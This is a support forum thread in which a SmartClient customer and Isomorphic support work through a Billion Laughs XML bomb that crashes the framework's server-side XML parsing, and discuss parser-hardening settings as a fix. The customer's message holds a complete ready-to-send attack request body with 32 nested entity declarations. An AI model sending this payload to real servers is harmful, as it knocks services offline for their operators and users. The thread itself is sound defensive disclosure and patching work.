XML bomb attack

[pchawla]

UI sends ISC.do requests as xml request. In case, attacker adds a bomb to the request, the parsing of XML in isomorphic code crashes the server. I have attached the stack trace.
Can you please take a look? Is there a way we can configure XML parsing in Isomorphic?

We are using isomorphic version: v10.1p_2016-07-22/Enterprise Development Only.

---

Do

[Isomorphic]

If you are talking about the “Billion Laughs” attack, that was worked around years ago, get a patched version from SmartClient.com/builds.

[pchawla]

Hi,
Yes I am talking about Billion laughs attack. Can you please help me with the patch build number where it is fixed for version: v10.1p_2016-07-22/Enterprise Development Only.

[Isomorphic]

Download the latest patched version of 10.1.

[pchawla]

Just a correction. We still use version v10.0.
I could see that there the same fix is available for 10.0 as well.
But I think only "http://apache.org/xml/features/nonvalidating/load-dtd-grammar", "http://apache.org/xml/features/nonvalidating/load-external-dtd" are being restricted now.

We want to restrict "http://apache.org/xml/features/disallow-doctype-decl" as well. Because, the XML bomb attack can be done using inline DTD as well. And the stack-trace attached, is when we tried with an inline DTD.
And again, is it possible for consumers to pass additional features to the parser?

Please let us know.

[Isomorphic]

First: we're using standard Java methods to acquire an XML parser. Depending on the underlying Java + servlet platform you use to deploy, it may be possible to configure the standard XML parser to not be vulnerable to this basic DDOS - you would need to check the documentation for your platform.

We certainly would agree that it's ridiculous that platforms would require everyone that needs XML parsing to apply multiple settings to obtain a secure parser. So please take a look, you probably just need to apply a platform-wide setting that will make all consumers of XML parsing secure.

As far as our particular software being able to work around this flaw for you, are you saying that the specific XML message you posted here causes your particular platform to allocate too much memory?

If so, what's are the specifics of the platform?

As the FAQ covers, please include:

1. servlet engine type and version
2. Java version
3. OS and version
4. specific SmartClient edition version (not just 10.0)

[pchawla]

The default parser for us is xerces which gets picked up. We are able to turn on/off features for code we have access to, by updating parser features whenever we initialize the parserFactory in consumer code. This seems to be the most straightforward and documented way to do the same.

But, in this case, the parser initialized as part RPCManager.parseRequest() ...-> com.isomorphic.xml.XML.parseXML() which creates a new ParserFactory instance.
The OOM exception was caused using the below mentioned xml as the ISC.do request body:

....................................................................................
isc_tnum=12&_transaction=<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<!ENTITY lol10 "&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;">
<!ENTITY lol11 "&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;">
<!ENTITY lol12 "&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;">
<!ENTITY lol13 "&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;">
<!ENTITY lol14 "&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;">
<!ENTITY lol15 "&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;">
<!ENTITY lol16 "&lol15;&lol15;&lol15;&lol15;&lol15;&lol15;&lol15;&lol15;&lol15;&lol15;">
<!ENTITY lol17 "&lol16;&lol16;&lol16;&lol16;&lol16;&lol16;&lol16;&lol16;&lol16;&lol16;">
<!ENTITY lol18 "&lol17;&lol17;&lol17;&lol17;&lol17;&lol17;&lol17;&lol17;&lol17;&lol17;">
<!ENTITY lol19 "&lol18;&lol18;&lol18;&lol18;&lol18;&lol18;&lol18;&lol18;&lol18;&lol18;">
<!ENTITY lol20 "&lol19;&lol19;&lol19;&lol19;&lol19;&lol19;&lol19;&lol19;&lol19;&lol19;">
<!ENTITY lol21 "&lol20;&lol20;&lol20;&lol20;&lol20;&lol20;&lol20;&lol20;&lol20;&lol20;">
<!ENTITY lol22 "&lol21;&lol21;&lol21;&lol21;&lol21;&lol21;&lol21;&lol21;&lol21;&lol21;">
<!ENTITY lol23 "&lol22;&lol22;&lol22;&lol22;&lol22;&lol22;&lol22;&lol22;&lol22;&lol22;">
<!ENTITY lol24 "&lol23;&lol23;&lol23;&lol23;&lol23;&lol23;&lol23;&lol23;&lol23;&lol23;">
<!ENTITY lol25 "&lol24;&lol24;&lol24;&lol24;&lol24;&lol24;&lol24;&lol24;&lol24;&lol24;">
<!ENTITY lol26 "&lol25;&lol25;&lol25;&lol25;&lol25;&lol25;&lol25;&lol25;&lol25;&lol25;">
<!ENTITY lol27 "&lol26;&lol26;&lol26;&lol26;&lol26;&lol26;&lol26;&lol26;&lol26;&lol26;">
<!ENTITY lol28 "&lol27;&lol27;&lol27;&lol27;&lol27;&lol27;&lol27;&lol27;&lol27;&lol27;">
<!ENTITY lol29 "&lol28;&lol28;&lol28;&lol28;&lol28;&lol28;&lol28;&lol28;&lol28;&lol28;">
<!ENTITY lol30 "&lol29;&lol29;&lol29;&lol29;&lol29;&lol29;&lol29;&lol29;&lol29;&lol29;">
<!ENTITY lol31 "&lol30;&lol30;&lol30;&lol30;&lol30;&lol30;&lol30;&lol30;&lol30;&lol30;">
<!ENTITY lol32 "&lol31;&lol31;&lol31;&lol31;&lol31;&lol31;&lol31;&lol31;&lol31;&lol31;">

]>
<transaction xmlns:xsi="http://www.w3.org/2000/10/XMLSchema-instance" xsi:type="xsd:Object">

<transactionNum xsi:type="xsd:long">12</transactionNum><operations xsi:type="xsd:List"><elem xsi:type="xsd:Object"><command>FetchData</command><lolz>&lol32;</lolz><payload xsi:nil="true"/></elem></operations></transaction>&protocolVersion=1.0

....................................................................................

Other details:
1. servlet engine type and version : Tomcat 7
2. Java version: 1.8.0_222
3. OS and version: Does not seem to be OS specific. We have our webapp hosted on windows and linux machines and can see the same issue.
4. specific SmartClient edition version: v10.0p_2015-06-17. (I have also tried the latest patch for 10.0. Which still did not fix the issue as mentioned in the previous comment.)

[pchawla]

Hi,
Any update on this? This is a critical issue for us. Any updates on the same would be well appreciated. Thanks!

[Isomorphic]

We are in the process of reviewing this area, and we will provide a patch to version 10.0 that allows you to specify the "disallow-doctype-decl" flag. Later versions of the framework already allow this, though it is not currently documented; so we will also be documenting this support.

However, we are puzzled that this is still an issue for you with the latest 10.0 code and a classic Billion Laughs attack. In March 2017, we applied a change to use the "FEATURE_SECURE_PROCESSING" flag of DocumentBuilderFactory. This enforces a cap on the number of entity expansions allowed, regardless of whether the doctype is external or inline, and is an effective countermeasure to Billion Laughs because that attack depends on exponential expansion. Testing locally with the latest 10.0 build and our automated XML bomb test (which has XML very like your example case), we do not see an OutOfMemory crash; instead, we get this message from the parser:

 XML parser fatal error: file '(in memory stream)' line 1: org.xml.sax.SAXParseException; lineNumber: 1; columnNumber: 603; The parser has encountered more than "100,000" entity expansions in this document; this is the limit imposed by the application.

So, while "disallow-doctype-decl" is required to prevent other types of XML bomb attack - ones that use a larger element and fewer expansions - it should not be required to protect against the particular attack you show above. Could you please check again that you really do see the same failure with the latesr 10.0 build, and let us know?

Regards
Isomorphic Software Support

[Isomorphic]

As mentioned above, we have now ported the "disallow-doctype-decl" change to version 10.0. The change will be present in builds as of tomorrow, August 4th. You can enable that feature by specifying

xml.disallow.doctype: true

in your "server.properties" file. We will be documenting this soon, but while that is taking place we wanted to get the support in straight away.

Regards
Isomorphic Software Support

[pchawla]

We are in the process of reviewing this area, and we will provide a patch to version 10.0 that allows you to specify the "disallow-doctype-decl" flag. Later versions of the framework already allow this, though it is not currently documented; so we will also be documenting this support.

However, we are puzzled that this is still an issue for you with the latest 10.0 code and a classic Billion Laughs attack. In March 2017, we applied a change to use the "FEATURE_SECURE_PROCESSING" flag of DocumentBuilderFactory. This enforces a cap on the number of entity expansions allowed, regardless of whether the doctype is external or inline, and is an effective countermeasure to Billion Laughs because that attack depends on exponential expansion. Testing locally with the latest 10.0 build and our automated XML bomb test (which has XML very like your example case), we do not see an OutOfMemory crash; instead, we get this message from the parser:

XML parser fatal error: file '(in memory stream)' line 1: org.xml.sax.SAXParseException; lineNumber: 1; columnNumber: 603; The parser has encountered more than "100,000" entity expansions in this document; this is the limit imposed by the application.

So, while "disallow-doctype-decl" is required to prevent other types of XML bomb attack - ones that use a larger element and fewer expansions - it should not be required to protect against the particular attack you show above. Could you please check again that you really do see the same failure with the latesr 10.0 build, and let us know?

Regards
Isomorphic Software Support

No, we do not see the entity expansion error. It still throws an out of memory exception. Attached the stacktrace.
Below mentioned are the version I could find from framework.properties in the rpc.jar, if that is helpful.
iscVersionNumber: v10.1p_2020-06-30
iscVersion: v10.1p_2020-06-30/Enterprise Deployment
iscPackageDate: 2020-06-30

[pchawla]

As mentioned above, we have now ported the "disallow-doctype-decl" change to version 10.0. The change will be present in builds as of tomorrow, August 4th. You can enable that feature by specifying

xml.disallow.doctype: true

in your "server.properties" file. We will be documenting this soon, but while that is taking place we wanted to get the support in straight away.

Regards
Isomorphic Software Support

Thanks for the update.
I don't see the a newer build yet in the build location for 10.0p/Enterprise. We will try this out once a build is available.

[Isomorphic]

Running our internal Billion Laughs test against a fresh download of the latest 10.1 build from smartclient.com results in that entity expansion error. Perhaps your application is influencing the parser such that our attempt to set FEATURE_SECURE_PARSING is failing? Perhaps you have a jaxp.properties file in play, for example? Or have introduced a different version of Xerces?